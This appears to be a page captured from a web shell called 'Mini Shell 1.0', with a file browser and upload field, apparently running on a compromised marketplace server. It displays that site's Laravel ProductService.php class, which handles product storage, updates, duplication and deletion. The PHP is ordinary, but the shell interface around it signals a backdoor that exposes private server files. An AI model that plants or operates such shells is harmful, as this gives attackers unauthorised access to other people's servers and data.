HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

¡Página no encontrada!

La página que busca no se encuentra en nuestro servidor.

Volver al inicio
DIR: /var/www/devs.lapieza.net/app/Services/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Services/ProductService.php
<?php

namespace App\Services;

use AizPackages\CombinationGenerate\Services\CombinationService;
use App\Models\Product;
use App\Utility\ProductUtility;
use Illuminate\Support\Str;

class ProductService
{

    public function store(array $data)
    {
        //dd($data);
        $collection = collect($data); // Crea una Eloquent Collection a partir de la data recibida
        $approved = false; // Campo para verificar si el producto está aprobado
        $user_id = auth()->id(); // ID del usuario autenticado
        $tags = array(); // Guardará las etiquetas del producto

        /*
         * Revisa si el usuario es admin para aprovar de inmediato el producto.
         * */
        if (auth()->user()->user_type == 'admin') {
            if (get_setting('product_approve_by_admin') == 1) {
                $approved = true;
            }
        }


        if (isset($collection['tags'])) {
            if (is_array($collection['tags'])) {
                foreach ($collection['tags'] as $tagData) {
                    $tag = json_decode($tagData, true); // Decodificar como arreglo
                    $tags[] = $tag['value'] ?? null;
                }
            } elseif (json_decode($collection['tags']) != null) {
                if ($collection['tags'][0] != null) {
                    foreach (json_decode($collection['tags'][0]) as $tag) {
                        array_push($tags, $tag->value);
                    }
                }
            }
        }

        $collection['tags'] = implode(',', $tags);
        $discount_start_date = null;
        $discount_end_date = null;
        if ($collection['date_range'] != null) {
            $date_var = explode(" to ", $collection['date_range']);
            $discount_start_date = strtotime($date_var[0]);
            $discount_end_date = strtotime($date_var[1]);
        }
        unset($collection['date_range']);
        if (!isset($collection['meta_title']) || $collection['meta_title'] == null) {
            $collection['meta_title'] = $collection['name'];
        }
        if (!isset($collection['meta_description']) || $collection['meta_description'] == null) {
            $collection['meta_description'] = strip_tags($collection['description']);
        }
        if (!isset($collection['meta_img']) || $collection['meta_img'] == null) {
            $collection['meta_img'] = $collection['thumbnail_img'];
        }
        $shipping_cost = 0;
        if (isset($collection['shipping_type'])) {
            if ($collection['shipping_type'] == 'free') {
                $shipping_cost = 0;
            } elseif ($collection['shipping_type'] == 'flat_rate') {
                $shipping_cost = $collection['flat_shipping_cost'];
            }
        }
        unset($collection['flat_shipping_cost']);
        $slug = Str::slug($collection['name']);
        $same_slug_count = Product::where('slug', 'LIKE', $slug . '%')->count();
        $slug_suffix = $same_slug_count ? '-' . $same_slug_count + 1 : '';
        $slug .= $slug_suffix;
        $colors = json_encode(array());
        if (
            isset($collection['colors_active']) &&
            $collection['colors_active'] &&
            $collection['colors'] &&
            count($collection['colors']) > 0
        ) {
            $colors = json_encode($collection['colors']);
        }
        $options = ProductUtility::get_attribute_options($collection);
        $combinations = (new CombinationService())->generate_combination($options);
        if (count($combinations) > 0) {
            foreach ($combinations as $key => $combination) {
                $str = ProductUtility::get_combination_string($combination, $collection);
                unset($collection['price_' . str_replace('.', '_', $str)]);
                unset($collection['sku_' . str_replace('.', '_', $str)]);
                unset($collection['qty_' . str_replace('.', '_', $str)]);
                unset($collection['img_' . str_replace('.', '_', $str)]);
            }
        }
        unset($collection['colors_active']);
        $choice_options = [
            [
                "attribute_id" => "1",
                "values" => ["{$collection['length']}x{$collection['height']}x{$collection['width']}"]
            ]
        ];

        $choice_options = json_encode($choice_options, JSON_UNESCAPED_UNICODE);
        if (isset($collection['choice_no']) && $collection['choice_no']) {
            $attributes = json_encode($collection['choice_no']);
            unset($collection['choice_no']);
        } else {
            $attributes = json_encode(array());
        }
        $published = 1;
        if ($collection['button'] == 'unpublish' || $collection['button'] == 'draft') {
            $published = 0;
        }
        unset($collection['button']);
        $data = $collection->merge(compact(
            'user_id',
            'approved',
            'discount_start_date',
            'discount_end_date',
            'shipping_cost',
            'slug',
            'colors',
            'choice_options',
            'attributes',
            'published',
        ))->toArray();
        return Product::create($data);
    }

    public function update(array $data, Product $product)
    {
        $collection = collect($data);
        $slug = Str::slug($collection['name']);
        $slug = $collection['slug'] ? Str::slug($collection['slug']) : Str::slug($collection['name']);
        $same_slug_count = Product::where('slug', 'LIKE', $slug . '%')->count();
        $slug_suffix = $same_slug_count > 1 ? '-' . $same_slug_count + 1 : '';
        $slug .= $slug_suffix;
        if (addon_is_activated('refund_request') && !isset($collection['refundable'])) {
            $collection['refundable'] = 0;
        }
        if (!isset($collection['is_quantity_multiplied'])) {
            $collection['is_quantity_multiplied'] = 0;
        }
        if (!isset($collection['cash_on_delivery'])) {
            $collection['cash_on_delivery'] = 0;
        }
        if (!isset($collection['featured'])) {
            $collection['featured'] = 0;
        }
        if (!isset($collection['todays_deal'])) {
            $collection['todays_deal'] = 0;
        }
        $tags = array();
        //dd($collection['tags']);
        if (isset($collection['tags'])) {
            if (is_array($collection['tags'])) {
                foreach ($collection['tags'] as $tagData) {
                    $tag = json_decode($tagData, true);
                    $tags[] = $tag['value'] ?? null;
                }
            } elseif (json_decode($collection['tags']) != null) {
                if ($collection['tags'][0] != null) {
                    foreach (json_decode($collection['tags'][0]) as $tag) {
                        array_push($tags, $tag->value);
                    }
                }
            }
        }

        $decodedTags = json_decode($collection['tags'][0], true);
        if (json_last_error() === JSON_ERROR_NONE) {
            $tagValues = array_column($decodedTags, 'value'); // Extraer los valores
        } else {
            echo 'Error al decodificar el JSON: ' . json_last_error_msg();
        }

        $collection['tags'] = implode(',', $tagValues);
        $discount_start_date = null;
        $discount_end_date = null;
        if ($collection['date_range'] != null) {
            $date_var = explode(" to ", $collection['date_range']);
            $discount_start_date = strtotime($date_var[0]);
            $discount_end_date = strtotime($date_var[1]);
        }
        unset($collection['date_range']);
        if ($collection['meta_title'] == null) {
            $collection['meta_title'] = $collection['name'];
        }
        if ($collection['meta_description'] == null) {
            $collection['meta_description'] = strip_tags($collection['description']);
        }
        if ($collection['meta_img'] == null) {
            $collection['meta_img'] = $collection['thumbnail_img'];
        }
        if ($collection['lang'] != env("DEFAULT_LANGUAGE")) {
            unset($collection['name']);
            unset($collection['unit']);
            unset($collection['description']);
        }
        unset($collection['lang']);
        $shipping_cost = 0;
        if (isset($collection['shipping_type'])) {
            if ($collection['shipping_type'] == 'free') {
                $shipping_cost = 0;
            } elseif ($collection['shipping_type'] == 'flat_rate') {
                $shipping_cost = $collection['flat_shipping_cost'];
            }
        }
        unset($collection['flat_shipping_cost']);
        $colors = json_encode(array());
        if (
            isset($collection['colors_active']) &&
            $collection['colors_active'] &&
            $collection['colors'] &&
            count($collection['colors']) > 0
        ) {
            $colors = json_encode($collection['colors']);
        }
        $options = ProductUtility::get_attribute_options($collection);
        $combinations = (new CombinationService())->generate_combination($options);
        if (count($combinations) > 0) {
            foreach ($combinations as $key => $combination) {
                $str = ProductUtility::get_combination_string($combination, $collection);
                unset($collection['price_' . str_replace('.', '_', $str)]);
                unset($collection['sku_' . str_replace('.', '_', $str)]);
                unset($collection['qty_' . str_replace('.', '_', $str)]);
                unset($collection['img_' . str_replace('.', '_', $str)]);
            }
        }
        unset($collection['colors_active']);
        $choice_options = [
            [
                "attribute_id" => "1",
                "values" => ["{$collection['length']}x{$collection['height']}x{$collection['width']}"]
            ]
        ];
        $choice_options = json_encode($choice_options, JSON_UNESCAPED_UNICODE);

        if (isset($collection['choice_no']) && $collection['choice_no']) {
            $attributes = json_encode($collection['choice_no']);
            unset($collection['choice_no']);
        } else {
            $attributes = json_encode(array());
        }

        unset($collection['button']);

        $data = $collection->merge(compact(
            'discount_start_date',
            'discount_end_date',
            'shipping_cost',
            'slug',
            'colors',
            'choice_options',
            'attributes',
        ))->toArray();

        $product->update($data);
        return $product;
    }

    public function product_duplicate_store($product)
    {
        $product_new = $product->replicate();
        $product_new->slug = $product_new->slug . '-' . Str::random(5);
        $product_new->approved = (get_setting('product_approve_by_admin') == 1 && $product->added_by != 'admin') ? 0 : 1;
        $product_new->save();
        return $product_new;
    }

    public function destroy($id)
    {
        $product = Product::findOrFail($id);
        $product->product_translations()->delete();
        $product->stocks()->delete();
        $product->taxes()->delete();
        $product->wishlists()->delete();
        $product->carts()->delete();
        if (Product::destroy($id)) {
            return true;
        }
        return false;
    }
}